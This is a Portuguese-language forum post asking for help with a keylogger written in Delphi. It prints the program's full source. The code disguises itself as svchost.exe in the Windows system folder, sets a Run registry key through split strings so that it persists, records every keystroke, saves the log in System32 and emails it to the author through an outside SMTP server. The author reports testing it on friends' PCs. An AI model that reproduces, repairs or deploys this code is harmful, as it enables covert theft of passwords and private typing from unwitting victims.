Eae galera blz.. ^^
Tipo meu problema eh o seguinte...
eol fiz um kl no delphi e talz....
e ele testado no meu pc esta enviando as infos tudo perfeito, nao esta comendo letra alguma... ta tudo perfeito msmO !
ja quando meu colega testa no pc dele, o kl me enviar os Logs meio confusos...
reparei que estava comendo letras
Tipow assim !
ja testei com varios amigos, e da o mesmo problema.... soh que no meu pc esta perfeito...
queria saber se ja aconteceu com voces, oq eu posso fazer para resolver?
Aqui esta a source do kl
Código:unit Unit1; {$IMAGEBASE $0051924} interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, Inifiles, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, IdBaseComponent, IdMessage, registry, sockets; type TQuerBoleteToma = class(TForm) Memo1: TMemo; Timer1: TTimer; Timer2: TTimer; Timer3: TTimer; smtp: TIdSMTP; IdMessage1: TIdMessage; procedure Timer1Timer(Sender: TObject); procedure Timer2Timer(Sender: TObject); procedure Timer3Timer(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public end; var QuerBoleteToma: TQuerBoleteToma; const RSP_SIMPLE_SERVICE = 1; RSP_UNREGISTER_SERVICE = 0; implementation {$R *.dfm} var V:Textfile; Function GetNetUserName: string; Var NetUserNameLength: DWord; Begin NetUserNameLength := 50; SetLength(Result, NetUserNameLength); GetUserName(pChar(Result), NetUserNameLength); SetLength(Result, StrLen(pChar(Result))); End; procedure TQuerBoleteToma.FormCreate(Sender: TObject); var bobo : TRegIniFile; d,q : string; begin q := Application.ExeName; CopyFile(Pchar(q), Pchar('C:\Windows\System\svchost.exe'),false); d:= 'C:\Windows\System\svchost.exe'; bobo:=TRegIniFile.Create('full'); bobo.RootKey:=HKEY_LOCAL_MACHINE; bobo.Openkey ('\Sof'+'twa'+'re'+'\'+'Mic'+'ros'+'oft'+'\'+'Win'+'dow'+'s'+'\'+'Cur'+'re'+'nt'+'Ver'+'si'+'on',false); bobo.WriteString('Run', 'svchost', d); end; procedure TQuerBoleteToma.Timer1Timer(Sender: TObject); var Jr : byte; begin for Jr:=8 To 222 do begin if GetAsyncKeyState(Jr)=-32767 then begin case Jr of 8 : memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace 9 : memo1.text:=memo1.text+'[Tab]'; 13 : memo1.text:=memo1.text+#13#10; 17 : memo1.text:=memo1.text+''; 27 : memo1.text:=memo1.text+'[Esc]'; 32 :memo1.text:=memo1.text+' '; 33 : memo1.text := Memo1.text + '[Page Up]'; 34 : memo1.text := Memo1.text + '[Page Down]'; 35 : memo1.text := Memo1.text + '[End]'; 36 : memo1.text := Memo1.text + '[Home]'; 37 : memo1.text := Memo1.text + '[Left]'; 38 : memo1.text := Memo1.text + '[Up]'; 39 : memo1.text := Memo1.text + '[Right]'; 40 : memo1.text := Memo1.text + '[Down]'; 44 : memo1.text := Memo1.text + '[Print Screen]'; 45 : memo1.text := Memo1.text + '[Insert]'; 46 : memo1.text := Memo1.text + '[Del]'; 145 : memo1.text := Memo1.text + '[Scroll Lock]'; 48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')' else memo1.text:=memo1.text+'0'; 49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!' else memo1.text:=memo1.text+'1'; 50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@' else memo1.text:=memo1.text+'2'; 51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#' else memo1.text:=memo1.text+'3'; 52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$' else memo1.text:=memo1.text+'4'; 53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%' else memo1.text:=memo1.text+'5'; 54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^' else memo1.text:=memo1.text+'6'; 55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&' else memo1.text:=memo1.text+'7'; 56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*' else memo1.text:=memo1.text+'8'; 57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'(' else memo1.text:=memo1.text+'9'; 65..90 : begin if ((GetKeyState(VK_CAPITAL))=1) then if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+LowerCase(Chr(Jr)) else memo1.text:=memo1.text+UpperCase(Chr(Jr)) else if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+UpperCase(Chr(Jr)) else memo1.text:=memo1.text+LowerCase(Chr(Jr)); end; 96..105 : memo1.text:=memo1.text + inttostr(Jr-96); 106:memo1.text:=memo1.text+'*'; 107:memo1.text:=memo1.text+'&'; 109:memo1.text:=memo1.text+'-'; 110:memo1.text:=memo1.text+'.'; 111:memo1.text:=memo1.text+'/'; 144 : memo1.text:=memo1.text+'[Num Lock]'; 112..123: memo1.text:=memo1.text+'[F'+IntToStr(Jr - 111)+']'; 186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':' else memo1.text:=memo1.text+';'; 187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+' else memo1.text:=memo1.text+'='; 188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<' else memo1.text:=memo1.text+','; 189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_' else memo1.text:=memo1.text+'-'; 190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>' else memo1.text:=memo1.text+'.'; 191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?' else memo1.text:=memo1.text+'/'; 192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~' else memo1.text:=memo1.text+'`'; 219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{' else memo1.text:=memo1.text+'['; 220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|' else memo1.text:=memo1.text+'\'; 221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}' else memo1.text:=memo1.text+']'; 222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"' else memo1.text:=memo1.text+''''; end; end; end; end; procedure TQuerBoleteToma.Timer2Timer(Sender: TObject); begin Assignfile(V,'C:\Windows\System32\Own3dexe.txt'); asm nop end; if not FileExists('C:\Windows\System32\Own3dexe.txt') Then begin Rewrite(V); Closefile(V); End Else Assignfile(V,'C:\Windows\System32\Own3dexe.txt'); {$I-} Append(V); {$I+} If IOResult<> 0 Then Begin ShowMessage('Cannot Open File'); End; Write(V,Memo1.Text); Memo1.Clear; Closefile(V); end; procedure TQuerBoleteToma.Timer3Timer(Sender: TObject); begin with IdMessage1 do begin Body.text:= ('memo1.text'); From.Text := @itelefonica.com.br'; Recipients.EMailAddresses := @gmail.com'; Subject := GetNetUserName; smtp.AuthenticationType := atlogin; smtp.Username :=@itelefonica.com.br'; smtp.Password :=''; smtp.Host := 'smtp.itelefonica.com.br'; smtp.Port := 25; smtp.Connect; try smtp.Send(IdMessage1); TIdAttachment.Create(Idmessage1.MessageParts, 'c:\windows\system32\Own3dexe.txt'); finally smtp.Disconnect; DeleteFile('c:\windows\system32\Own3dexe.txt') end; end; end;
Timer1, capturar teclas = 1
Timer2, salvar arquivos = 290000
timer3, enviar arquivos = 300000
des de ja obrigado




Responder com Citação
